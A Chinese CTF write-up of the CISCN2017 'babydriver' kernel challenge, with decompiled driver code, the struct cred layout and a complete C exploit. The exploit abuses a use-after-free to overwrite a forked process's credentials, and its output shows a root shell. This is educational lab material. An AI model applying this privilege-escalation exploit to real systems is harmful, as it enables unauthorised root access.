CTF-PWN

[kernel pwn] CISCN2017-babydrive

2019-01-08  本文已影响208人  2mpossible
  1. boot.sh: 一个用于启动 kernel 的 shell 的脚本,多用 qemu,保护措施与 qemu 不同的启动参数有关
  2. bzImage: kernel binary
  3. rootfs.cpio: 文件系统映像
mkdir fs
cd fs
cp ../rootfs.cpio ./
cpio -idmv < rootfs.cpio 
#!/bin/sh
 
mount -t proc none /proc
mount -t sysfs none /sys
mount -t devtmpfs devtmpfs /dev
chown root:root flag
chmod 400 flag
exec 0</dev/console
exec 1>/dev/console
exec 2>/dev/console

insmod /lib/modules/4.4.72/babydriver.ko
chmod 777 /dev/babydev
echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n"
setsid cttyhack setuidgid 1000 sh

umount /proc
umount /sys
poweroff -d 0  -f
  1. 分析babydrive.ko
//释放babydev_struct
int __fastcall babyrelease(inode *inode, file *filp)
{
  _fentry__(inode, filp);
  kfree(babydev_struct.device_buf);
  printk("device release\n");
  return 0;
}

//申请一块大小为 0x40 字节的空间,地址存储在全局变量babydev_struct.device_buf 上,并更新 babydev_struct.device_buf_len
int __fastcall babyopen(inode *inode, file *filp)
{
  _fentry__(inode, filp);
  babydev_struct.device_buf = (char *)kmem_cache_alloc_trace(kmalloc_caches[6], 37748928LL, 64LL);
  babydev_struct.device_buf_len = 64LL;
  printk("device open\n");
  return 0;
}

//定义了 0x10001 的命令,可以释放全局变量 babydev_struct中的device_buf,再根据用户传递的 size 重新申请一块内存,并设置 device_buf_len
__int64 __fastcall babyioctl(file *filp, unsigned int command, unsigned __int64 arg)
{
  size_t v3; // rdx
  size_t v4; // rbx
  __int64 result; // rax

  _fentry__(filp, *(_QWORD *)&command);
  v4 = v3;
  if ( command == 65537 )
  {
    kfree(babydev_struct.device_buf);
    babydev_struct.device_buf = (char *)_kmalloc(v4, 37748928LL);
    babydev_struct.device_buf_len = v4;
    printk("alloc done\n");
    result = 0LL;
  }
  else
  {
    printk(&unk_2EB);
    result = -22LL;
  }
  return result;
}

//从 buffer 拷贝到全局变量中
ssize_t __fastcall babywrite(file *filp, const char *buffer, size_t length, loff_t *offset)
{
  size_t v4; // rdx
  ssize_t result; // rax
  ssize_t v6; // rbx

  _fentry__(filp, buffer);
  if ( !babydev_struct.device_buf )
    return -1LL;
  result = -2LL;
  if ( babydev_struct.device_buf_len > v4 )
  {
    v6 = v4;
    copy_from_user();
    result = v6;
  }
  return result;
}

//从全局变量拷贝到 buffer 中
ssize_t __fastcall babyread(file *filp, char *buffer, size_t length, loff_t *offset)
{
  size_t v4; // rdx
  ssize_t result; // rax
  ssize_t v6; // rbx

  _fentry__(filp, buffer);
  if ( !babydev_struct.device_buf )
    return -1LL;
  result = -2LL;
  if ( babydev_struct.device_buf_len > v4 )
  {
    v6 = v4;
    copy_to_user(buffer);
    result = v6;
  }
  return result;
}

struct cred {
    atomic_t    usage; 4
#ifdef CONFIG_DEBUG_CREDENTIALS
    atomic_t    subscribers;    /* number of processes subscribed */
    void        *put_addr;
    unsigned    magic;
#define CRED_MAGIC  0x43736564
#define CRED_MAGIC_DEAD 0x44656144
#endif
    kuid_t      uid;        /* real UID of the task */ 4
    kgid_t      gid;        /* real GID of the task */ 4
    kuid_t      suid;       /* saved UID of the task */ 4
    kgid_t      sgid;       /* saved GID of the task */ 4
    kuid_t      euid;       /* effective UID of the task */ 4
    kgid_t      egid;       /* effective GID of the task */ 4
    kuid_t      fsuid;      /* UID for VFS ops */ 4
    kgid_t      fsgid;      /* GID for VFS ops */ 4
    unsigned    securebits; /* SUID-less security management */ 4
    kernel_cap_t    cap_inheritable; /* caps our children can inherit */ 4  
    kernel_cap_t    cap_permitted;  /* caps we're permitted */ 4
    kernel_cap_t    cap_effective;  /* caps we can actually use */ 4
    kernel_cap_t    cap_bset;   /* capability bounding set */ 4
    kernel_cap_t    cap_ambient;    /* Ambient capability set */ 4
#ifdef CONFIG_KEYS
    unsigned char   jit_keyring;    /* default keyring to attach requested 
                     * keys to */ 1
    struct key __rcu *session_keyring; /* keyring inherited over fork */
    struct key  *process_keyring; /* keyring private to this process */
    struct key  *thread_keyring; /* keyring private to this thread */
    struct key  *request_key_auth; /* assumed request_key authority */
#endif
#ifdef CONFIG_SECURITY
    void        *security;  /* subjective LSM security */ 8
#endif
    struct user_struct *user;   /* real user ID subscription */
    struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */
    struct group_info *group_info;  /* supplementary groups for euid/fsgid */
    struct rcu_head rcu;        /* RCU deletion hook */
};
//简单modules
#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/cred.h>
MODULE_LICENSE("Dual BSD/GPL");
struct cred c1;
static int hello_init(void) 
{
    printk("<1> Hello world!\n");
    printk("size of cred : %d \n",sizeof(c1));
    return 0;
}
static void hello_exit(void) 
{
    printk("<1> Bye, cruel world\n");
}
module_init(hello_init);
module_exit(hello_exit);
  1. 利用思路

  2. open两次设备

  3. 利用babyioctl将结构体改为0xa8 sizeof(struct cred)

  4. 释放第一个设备,造成UAF

  5. fork一个子进程来控制cred结构体

  6. 将结构体的xid置为0

  7. 编写exp:

//gcc exp.c -static -o exp
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <stropts.h>
#include <sys/wait.h>
#include <sys/stat.h>
int main()
{
    int fd1 = open("/dev/babydev",2);
    int fd2 = open("/dev/babydev",2);

    ioctl(fd1,65537,0xa8);

    close(fd1);

    int pid = fork();

    if(pid < 0)
    {
        puts("[*] fork error!");
        exit(0);
    }

    else if (pid == 0)
    {
        int buf[9]={0};
        write(fd2,buf,28);
        system("/bin/sh");
    }

    else
    {
        wait(NULL);
    }

    return 0;

}
  1. 静态编译exp,并将编译好的exp放入解压的fs目录下,重新打包fs系统
find . | cpio -o --format=newc > rootfs.cpio
  1. 启动系统,运行exp
./boot.sh
/ $ ./exp
[    4.998456] device open
[    4.999472] device open
[    5.000418] alloc done
[    5.001826] device release
/ # id
uid=0(root) gid=0(root) groups=1000(ctf)

参考文章:

上一篇下一篇

猜你喜欢

热点阅读